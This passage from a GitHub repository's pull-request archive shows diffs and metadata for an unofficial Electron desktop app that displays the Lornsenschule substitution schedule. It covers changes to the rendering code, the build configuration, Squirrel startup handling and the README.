++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }else{
+- $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }
+ }else{
+- if (substitutions_type == "Lehrertausch") {
+- if (lesson.match(reg)) {
+- $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ if (substitutions_type == "Betreuung") {
++ if (reg.test(lesson)) {
++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }else{
+- $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }else{
++ if (substitutions_type == "Unterricht geändert") {
++ if (reg.test(lesson)) {
++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }else{
++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }else{
++ if (substitutions_type == "Lehrertausch") {
++ if (reg.test(lesson)) {
++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }else{
++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }else{
++ if (substitutions_type == "anderer Raum") {
++ if (reg.test(lesson)) {
++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }else{
++ $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }
++ }
+ }
+ }
+ }
+@@ -119,16 +144,25 @@ <h1 id="school"></h1></br>
+ }
+ }
+ }
++ $.fn.sortDivs = jQuery.fn.sortDivs = function sortDivs() {
++ $("> div", this[0]).sort(dec_sort).appendTo(this[0]);
++ function dec_sort(a, b){ return ($(b).attr("klasse")) < ($(a).attr("klasse")) ? 1 : -1; }
++ }
++ $('#vertretungen').sortDivs();
+ }else{
++ console.log(error)
+ $("#Main").append('<p class="bg-danger">Scheinbar geht dein Internet nicht :/</p>')
+ }
+ })
+
+- $('#Tabs a:last').tab('show')
++ $('#Tabs a').click(function (e) {
++ e.preventDefault()
++ $(this).tab('show')
++ })
+ </script>
+ <!-- Include all compiled plugins (below), or include individual files as needed -->
+- <script src="js/bootstrap/bootstrap.min.js"></script>
+- <script src="https://cdn.rawgit.com/HubSpot/tether/v1.3.4/dist/js/tether.min.js"></script>
++ <script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.2.0/js/tether.min.js" integrity="sha384-Plbmg8JY28KFelvJVai01l8WyZzrYWG825m+cZ0eDDS1f7d/js6ikvy1+X+guPIB" crossorigin="anonymous"></script>
++ <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.3/js/bootstrap.min.js" integrity="sha384-ux8v3A6CPtOTqOzMKiuo3d/DomGaaClxFYdCu2HPMBEkf6x2xiDyJ7gkXU0MWwaD" crossorigin="anonymous"></script>
+ <script src="https://cdn.rawgit.com/FezVrasta/bootstrap-material-design/dist/dist/bootstrap-material-design.iife.min.js"></script>
+ <!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
+ <script src="https://maxcdn.bootstrapcdn.com/js/ie10-viewport-bug-workaround.js"></script>
+diff --git a/app/main.js b/app/main.js
+index c514a0a..79c3fd2 100644
+--- a/app/main.js
++++ b/app/main.js
+@@ -28,7 +28,7 @@ function update () {
+
+ function createWindow () {
+ // Create the browser window.
+- win = new BrowserWindow({width: 800, height: 600})
++ win = new BrowserWindow({width: 800, height: 600, icon: __dirname + '/LS.ico', title: 'Lornsenschule Vertretungsplan'})
+
+ // and load the index.html of the app.
+ win.loadURL(`file://${__dirname}/index.html`)
+diff --git a/app/package.json b/app/package.json
+index ac09df0..cfbdf88 100644
+--- a/app/package.json
++++ b/app/package.json
+@@ -1,5 +1,6 @@
+ {
+ "name": "ls_vertretungsplan_desktop",
++ "productName": "Lornsenschule Vertretungsplan",
+ "version": "0.0.3",
+ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
+ "main": "./main.js",
+@@ -8,5 +9,6 @@
+ "dependencies": {
+ "cached-request": "^1.0.0",
+ "request": "^2.69.0"
+- }
++ },
++ "homepage": "https://github.com/MTRNord/ls-vertretungsplan-desktop"
+ }
+diff --git a/build.cmd b/build.cmd
+deleted file mode 100644
+index 280a236..0000000
+--- a/build.cmd
++++ /dev/null
+@@ -1,2 +0,0 @@
+-electron-packager app --all --out prebuild/
+-node build.js
+\ No newline at end of file
+diff --git a/build.js b/build.js
+deleted file mode 100644
+index e459fad..0000000
+--- a/build.js
++++ /dev/null
+@@ -1,9 +0,0 @@
+-var electronInstaller = require('electron-winstaller');
+-resultPromise = electronInstaller.createWindowsInstaller({
+- appDirectory: 'prebuild/ls_vertretungsplan_desktop-win32-x64',
+- outputDirectory: 'build',
+- authors: 'Marcel Radzio',
+- exe: 'ls_vertretungsplan_desktop.exe'
+- });
+-
+-resultPromise.then(() => console.log("It worked!"), (e) => console.log(`No dice: ${e.message}`));
+\ No newline at end of file
+diff --git a/package.json b/package.json
+index d3646a0..2d5249c 100644
+--- a/package.json
++++ b/package.json
+@@ -1,11 +1,48 @@
+ {
+ "name": "ls_vertretungsplan_desktop",
+- "version": "0.0.2",
++ "version": "0.0.3",
+ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
+ "author": "Marcel Radzio <info@nordgedanken.de>",
+ "license": "",
+ "devDependencies": {
+ "electron": "^1.3.4",
+- "electron-winstaller": "^2.3.4"
++ "electron-builder": "^6.4.0"
++ },
++ "scripts": {
++ "pack": "build --dir",
++ "dist": "build",
++ "release": "build"
++ },
++ "build": {
++ "asar": true,
++ "appId": "de.nordgedanken.ls_vertretungsplan_desktop",
++ "category": "public.app-category.education",
++ "dmg": {
++ "contents": [
++ {
++ "x": 410,
++ "y": 150,
++ "type": "link",
++ "path": "/Applications"
++ },
++ {
++ "x": 130,
++ "y": 150,
++ "type": "file"
++ }
++ ]
++ },
++ "win": {
++ "iconUrl": "https://github.com/MTRNord/ls-vertretungsplan-desktop/tree/master/app/LS.ico?raw=true",
++ "remoteReleases": "https://github.com/MTRNord/ls-vertretungsplan-desktop"
++ },
++ "linux": {
++ "target": [
++ "deb",
++ "AppImage",
++ "zip",
++ "rpm"
++ ]
++ }
+ }
+ }
diff --git a/pulls/7.json b/pulls/7.json
@@ -0,0 +1,18 @@
+{
+ "number": 7,
+ "title": "Add v0.0.3 to master",
+ "state": "merged",
+ "diff_file": "7.diff",
+ "author": "MTRNord",
+ "created_at": "2016-09-02T21:26:09Z",
+ "closed_at": "2016-09-02T21:26:13Z",
+ "merged_at": "2016-09-02T21:26:13Z",
+ "base_ref": "master",
+ "head_ref": "develop",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/7.md b/pulls/7.md
@@ -0,0 +1,13 @@
+# PR #7 Add v0.0.3 to master
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-09-02T21:26:09Z
+- **Branch:** develop → master
+- **Merged:** 2016-09-02T21:26:13Z
+- **Diff:** [7.diff](./7.diff)
+
+---
+
+_No description._
+
diff --git a/pulls/8.diff b/pulls/8.diff
@@ -0,0 +1,105 @@
+diff --git a/app/LS.ico b/app/LS.ico
+index ed8414e..d9c325d 100644
+Binary files a/app/LS.ico and b/app/LS.ico differ
+diff --git a/app/main.js b/app/main.js
+index 79c3fd2..c919fa0 100644
+--- a/app/main.js
++++ b/app/main.js
+@@ -5,7 +5,7 @@ const {app, BrowserWindow, dialog} = require('electron')
+ let win
+
+ function update () {
+- var feedUrl = 'https://ls-desktop.herokuapp.com/update/win32/:' + app.getVersion();
++ var feedUrl = 'https://ls-desktop.herokuapp.com/update/win32/' + app.getVersion();
+ autoUpdater.setFeedURL(feedUrl);
+
+ autoUpdater.on('update-downloaded', function (event, releaseNotes, releaseName, releaseDate, updateUrl, quitAndUpdate) {
+@@ -70,3 +70,45 @@ app.on('activate', () => {
+
+ // In this file you can include the rest of your app's specific main process
+ // code. You can also put them in separate files and require them here.
++if(require('electron-squirrel-startup')) return;
++var handleStartupEvent = function() {
++ if (process.platform !== 'win32') {
++ return false;
++ }
++
++ var squirrelCommand = process.argv[1];
++ switch (squirrelCommand) {
++ case '--squirrel-install':
++ case '--squirrel-updated':
++
++ // Optionally do things such as:
++ //
++ // - Install desktop and start menu shortcuts
++ // - Add your .exe to the PATH
++ // - Write to the registry for things like file associations and
++ // explorer context menus
++
++ // Always quit when done
++ app.quit();
++
++ return true;
++ case '--squirrel-uninstall':
++ // Undo anything you did in the --squirrel-install and
++ // --squirrel-updated handlers
++
++ // Always quit when done
++ app.quit();
++
++ return true;
++ case '--squirrel-obsolete':
++ // This is called on the outgoing version of your app before
++ // we update to the new version - it's the opposite of
++ // --squirrel-updated
++ app.quit();
++ return true;
++ }
++};
++
++if (handleStartupEvent()) {
++ return;
++}
+\ No newline at end of file
+diff --git a/app/package.json b/app/package.json
+index cfbdf88..8c60e60 100644
+--- a/app/package.json
++++ b/app/package.json
+@@ -1,13 +1,14 @@
+ {
+ "name": "ls_vertretungsplan_desktop",
+ "productName": "Lornsenschule Vertretungsplan",
+- "version": "0.0.3",
++ "version": "0.0.4",
+ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
+ "main": "./main.js",
+- "author": "Marcel Radzio <info@nordgedanken.de>",
++ "author": "Lornsenschule Vertretungsplan",
+ "license": "",
+ "dependencies": {
+ "cached-request": "^1.0.0",
++ "electron-squirrel-startup": "^1.0.0",
+ "request": "^2.69.0"
+ },
+ "homepage": "https://github.com/MTRNord/ls-vertretungsplan-desktop"
+diff --git a/package.json b/package.json
+index 2d5249c..39328fa 100644
+--- a/package.json
++++ b/package.json
+@@ -1,6 +1,6 @@
+ {
+ "name": "ls_vertretungsplan_desktop",
+- "version": "0.0.3",
++ "version": "0.0.4",
+ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
+ "author": "Marcel Radzio <info@nordgedanken.de>",
+ "license": "",
+@@ -34,7 +34,7 @@
+ },
+ "win": {
+ "iconUrl": "https://github.com/MTRNord/ls-vertretungsplan-desktop/tree/master/app/LS.ico?raw=true",
+- "remoteReleases": "https://github.com/MTRNord/ls-vertretungsplan-desktop"
++ "icon": "app/LS.ico"
+ },
+ "linux": {
+ "target": [
diff --git a/pulls/8.json b/pulls/8.json
@@ -0,0 +1,18 @@
+{
+ "number": 8,
+ "title": "fix Setup script",
+ "state": "merged",
+ "diff_file": "8.diff",
+ "author": "MTRNord",
+ "created_at": "2016-09-03T16:13:59Z",
+ "closed_at": "2016-09-03T16:14:04Z",
+ "merged_at": "2016-09-03T16:14:04Z",
+ "base_ref": "master",
+ "head_ref": "develop",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "<!-- Reviewable:start -->\n\nThis change is [<img src=\"https://reviewable.io/review_button.svg\" height=\"34\" align=\"absmiddle\" alt=\"Reviewable\"/>](https://reviewable.io/reviews/mtrnord/ls-vertretungsplan-desktop/8)\n\n<!-- Reviewable:end -->\n",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/8.md b/pulls/8.md
@@ -0,0 +1,18 @@
+# PR #8 fix Setup script
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-09-03T16:13:59Z
+- **Branch:** develop → master
+- **Merged:** 2016-09-03T16:14:04Z
+- **Diff:** [8.diff](./8.diff)
+
+---
+
+<!-- Reviewable:start -->
+
+This change is [<img src="https://reviewable.io/review_button.svg" height="34" align="absmiddle" alt="Reviewable"/>](https://reviewable.io/reviews/mtrnord/ls-vertretungsplan-desktop/8)
+
+<!-- Reviewable:end -->
+
+
diff --git a/pulls/9.diff b/pulls/9.diff
@@ -0,0 +1,332 @@
+diff --git a/README.md b/README.md
+index f817f28..c954d82 100644
+--- a/README.md
++++ b/README.md
+@@ -1,12 +1,15 @@
+ # ls-vertretungsplan-desktop
+ UNOFFICIAL Desktop App for the schedule of Lornsenschule, Schleswig
+
++#DOWNLOADS
++Downloades can be found here: https://ls-desktop.herokuapp.com/download/
++
+ # Info about the API
+ This Desktop App uses an API by @johan12345 that is NOT managed by me. I am allowed to use it and to have it in the Git Source. To see the APP made by @johan12345 take a look at https://ls.vertretungsplan.me
+
+-# How to Build (If you find the URL to the API ^^)
++# How to Build
+
+ 1. Clone the Repository
+ 2. Run `npm install`
+ 3. If You use Windows run `build.cmd` otherwise go to 4
+-4. Everybody else go into the app directory and run `npm install` and now run `node build.js` in the root
++4. Everybody else go into the app directory and run `npm install` and now run `build` in the root
+diff --git a/app/index.html b/app/index.html
+index e5c5059..9c1b882 100644
+--- a/app/index.html
++++ b/app/index.html
+@@ -23,7 +23,7 @@ <h1 id="school"></h1></br>
+ </ul>
+
+ <div class="tab-content">
+- <div class="tab-pane fade in active" id="vertretungen"></div>
++ <div class="tab-pane fade in active" id="vertretungen"><div id="days" day="0"></div><div id="days" day="1"></div></div>
+ <div class="tab-pane fade" id="messages"></div>
+ </div>
+
+@@ -59,78 +59,86 @@ <h1 id="school"></h1></br>
+ document.all.school.innerHTML = body.schoolId.replace(/_/g, ' ') + ' Vertretungsplan'; // Print the json response
+ for (var key in body.days) {
+ if (body.days.hasOwnProperty(key)) {
+- //////////////////////////////////////////////////////////////
+- //////////////////////////////////////////////////////////////
+- // //
+- // 1 == morgen //
+- // 0 == heute //
+- // //
+- //////////////////////////////////////////////////////////////
+- //////////////////////////////////////////////////////////////
+- if (key == 1) {
+- date = body.days[key].dateString
+- substitutions = body.days[key].substitutions
+- messages = body.days[key].messages
+- console.log("Day found")
+- for (var key in messages) {
+- if (messages.hasOwnProperty(key)) {
+- $("#messages").append('<div class="card card-block" style="height: 10%; background-color: #EEEEEE; color: #000"><p>' + messages[key].replace(/\n/g, ' ') + '</p></div>')
+- }
++ date = body.days[key].dateString
++ substitutions = body.days[key].substitutions
++ messages = body.days[key].messages
++ day = key
++ console.log("Day found")
++ $("#messages").append('<h2 id="date">' + date + '</h2>')
++ for (var key in messages) {
++ if (messages.hasOwnProperty(key)) {
++ $("#messages").append('<div class="card card-block" style="height: 10%; background-color: #EEEEEE; color: #000"><p>' + messages[key].replace(/\n/g, ' ') + '</p></div>')
+ }
+- for (var key in substitutions) {
+- if (substitutions.hasOwnProperty(key)) {
+- console.log("Substitutions found")
+- substitutions_now = substitutions[key]
+- klassen = substitutions_now.classes
+- for (var key in klassen) {
+- if (klassen.hasOwnProperty(key)) {
+- console.log("Class found")
+- klasse = klassen[key]
+- console.log(klasse)
+- console.log($("h3").filter("[klasse='" + klasse + "']", "#klasse").length)
+- if ($("h3").filter("[klasse='" + klasse + "']", "#klasse").length == 0) {
+- console.log("Found new Class")
+- $("#vertretungen").append('<div id="klasse" klasse="' + klasse + '"><h3 id="klasse" klasse="' + klasse + '">' + klasse + '</h3>')
+- }else{}
+- var reg = new RegExp('[-]');
+- lesson = substitutions_now.lesson
+- substitutions_type = substitutions_now.type
+- text = substitutions_now.text
+- console.log("Appending")
+- console.log("Multiple Subjects: " + reg.test(lesson))
+- if (substitutions_type == "Vertretung") {
++ }
++ console.log(day)
++ $("div").filter("[day='" + day + "']", "#days").append('<h2 id="date" date="' + date + '">' + date + '</h2>')
++ for (var key in substitutions) {
++ if (substitutions.hasOwnProperty(key)) {
++ console.log("Substitutions found")
++ substitutions_now = substitutions[key]
++ klassen = substitutions_now.classes
++ for (var key in klassen) {
++ if (klassen.hasOwnProperty(key)) {
++ console.log("Class found")
++ klasse = klassen[key]
++ if ($("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").length == 0) {
++ console.log("Found new Class")
++ $("h2").filter("[date='" + date + "']", "#days").after('<div id="klasse" klasse="' + klasse + '"><h3 id="klasse" klasse="' + klasse + '" day="' + day + '">' + klasse + '</h3>')
++ }else{}
++ var reg = new RegExp('[-]');
++ lesson = substitutions_now.lesson
++ substitutions_type = substitutions_now.type
++ text = substitutions_now.text
++ console.log("Appending")
++ console.log("Multiple Subjects: " + reg.test(lesson))
++ if (substitutions_type == "Vertretung") {
++ if (reg.test(lesson)) {
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
++ }else{
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
++ }
++ }else{
++ if (substitutions_type == "Betreuung") {
+ if (reg.test(lesson)) {
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
+ }else{
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff" id="substitution" substitution="' + lesson + '>' + '<div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
+ }
+ }else{
+- if (substitutions_type == "Betreuung") {
++ if (substitutions_type == "Unterricht geändert") {
+ if (reg.test(lesson)) {
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
+ }else{
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
+ }
+ }else{
+- if (substitutions_type == "Unterricht geändert") {
++ if (substitutions_type == "Lehrertausch") {
+ if (reg.test(lesson)) {
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
+ }else{
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
+ }
+ }else{
+- if (substitutions_type == "Lehrertausch") {
++ if (substitutions_type == "anderer Raum") {
+ if (reg.test(lesson)) {
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
+ }else{
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
